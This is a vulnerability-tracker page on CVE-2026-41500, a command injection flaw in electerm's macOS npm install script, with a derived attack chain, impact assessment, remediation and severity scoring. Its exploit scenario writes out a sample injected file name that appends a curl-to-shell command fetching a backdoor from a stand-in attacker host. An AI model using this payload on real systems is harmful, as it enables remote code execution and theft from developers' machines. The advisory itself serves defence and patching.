Skip to main content

electerm CVE-2026-41500

| EUVDEUVD-2026-28496 CRITICAL
Command Injection (CWE-77)
2026-05-08 GitHub_M GHSA-wxw2-rwmh-vr8f
9.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise update server or MITM npm traffic
  2. Delivery
    Inject shell metacharacters into releaseInfo.name
  3. Exploit
    Victim runs 'npm install -g electerm' on macOS
  4. Execution
    Malicious name passes to exec('open ...')
  5. Persist
    Arbitrary commands execute as installing user
  6. Impact
    Attacker gains code execution on developer workstation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to run 'npm install -g electerm' (or npm update for an existing installation) on a macOS system while the attacker can manipulate the release metadata served to the install script. Specifically: (1) the target must be installing/updating electerm version prior to 3.3.8, (2) the installation must execute on macOS (the vulnerable runMac() function), and (3) the attacker must have achieved either compromise of the electerm project's release server/CDN infrastructure or a man-in-the-middle position between the victim and the metadata source. Linux and Windows installations are not affected as they use different code paths (different functions in install.js). Default npm installations over HTTPS with valid certificates limit MITM feasibility, making supply chain compromise the more realistic attack vector. The vulnerability does NOT affect already-installed electerm runtime instances - only the installation process itself.

Impact

CVSS 9.8 vector (AV:N/AC:L/PR:N/UI:N) overstates real-world risk. While technically network-reachable, exploitation requires either: (1) compromise of electerm's official release server/CDN to serve malicious metadata, or (2) MITM attack during npm installation to inject crafted releaseInfo.name values. Neither scenario represents trivial remote exploitation against arbitrary users. No EPSS score provided. Not in CISA KEV. No public POC exists. The impact is limited to the installation phase on macOS only - users who already have electerm installed are not vulnerable unless they reinstall/upgrade via npm. Technical impact is high (arbitrary command execution as the installing user), but exploitation barriers (supply chain position or MITM) significantly reduce real-world likelihood. Priority should be moderate: users should upgrade to 3.3.8, but this is not an actively exploited remote vulnerability in deployed instances. Key uncertainty: Original description says 'github.com/elcterm/electerm' (typo: elcterm vs electerm) - assumed to be electerm project, but vendor confirmation of exact affected repository would strengthen analysis.

Exploit ScenarioDerived

An attacker compromises electerm's release metadata server or performs a man-in-the-middle attack during 'npm install -g electerm' on a macOS system. The attacker injects shell metacharacters into the releaseInfo.name field (e.g., 'electerm-3.3.7.dmg; curl attacker.com/backdoor.sh | sh'). When the victim runs npm install, the malicious name string is passed unsanitized to exec('open ' + releaseInfo.name), executing the attacker's commands with the privileges of the installing user. The attacker achieves arbitrary code execution, potentially installing persistence mechanisms or exfiltrating credentials from the developer's workstation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Command injection in electerm's npm install script allows arbitrary command execution on macOS systems during 'npm install -g electerm'. The runMac() function in install.js:150 passes attacker-controlled remote release metadata (releaseInfo.name) directly to exec('open ...') without validation, enabling remote code execution as the installing user. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) reflects theoretical network-based exploitation, though actual attack requires compromise of the project's update server or man-in-the-middle position during npm package installation. No public exploit identified at time of analysis. Vendor-released patch: version 3.3.8 (commit 59708b3).

RemediationAI

Upgrade to electerm version 3.3.8 or later via 'npm install -g electerm@latest'. The fix in commit 59708b38c8a52f5db59d7d4eff98e31d573128ee removes the vulnerable exec() call entirely, replacing install.js with a safer implementation using tar extraction and child_process.spawn() with separated arguments. The auto-open behavior on macOS was eliminated. Users who installed pre-3.3.8 versions should verify no malicious commands were executed during installation by reviewing shell history and system logs from the installation timeframe. No workaround exists for older versions per the vendor advisory - upgrade is mandatory. As the vulnerability is in the install script rather than runtime code, already-installed instances pose no ongoing risk, but all future installations/updates should use 3.3.8+. Release notes: https://github.com/electerm/electerm/releases/tag/v3.3.8. Patch commit: https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee.

Affected VersionsENISA

electerm < 3.3.8

Affected Packages

npm electerm fix: 3.3.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from unsafe use of Node.js child_process.exec() in an npm postinstall script. CWE-77 (Command Injection) occurs when the install.js script retrieves release metadata from a remote server and concatenates the unsanitized 'name' field into a shell command executed via exec(). The affected code path is specific to macOS installations where runMac() opens downloaded packages. CPE cpe:2.3:a:electerm:electerm identifies the affected product as electerm's npm package. The vulnerability exists in the package installation lifecycle, not the runtime application itself. The commit diff shows the vulnerable install.js was replaced with a safer implementation using tar extraction and spawn() instead of exec(), and the auto-open behavior on macOS was removed entirely.

Know when Electerm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
May 08, 2026 - 05:01 EUVD
CVE Published
May 08, 2026 - 02:53 nvd
CRITICAL 9.8

DescriptionCVE.org

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.3.8, a command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:150. The runMac() function appends attacker-controlled remote releaseInfo.name directly into an exec("open ...") command without validation. This issue has been patched in version 3.3.8.

Executive ViewAI

Why It Matters

CVE-2026-41500 is a critical command injection vulnerability in the electerm npm package that allows unauthenticated remote code execution during global installation on macOS systems. Any organization with developers installing electerm globally is at risk of compromised developer environments, which could lead to supply chain attacks, credential theft, and lateral movement into production systems. Immediate action is required to prevent installation of vulnerable versions.

Business Impact: Severe
Compensating Controls

Vendor-released patch: version 3.3.8. Until patched, block electerm installation at the network level via npm registry proxies (e.g., Verdaccio, Artifactory); restrict developer sudo/admin privileges to prevent global npm installs; isolate affected developer machines from production network access; monitor npm install logs for electerm package downloads; require manual code review of any projects using electerm as a dependency.

Threat Intelligence Overview

EPSS Score
0.3%
Top 52% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy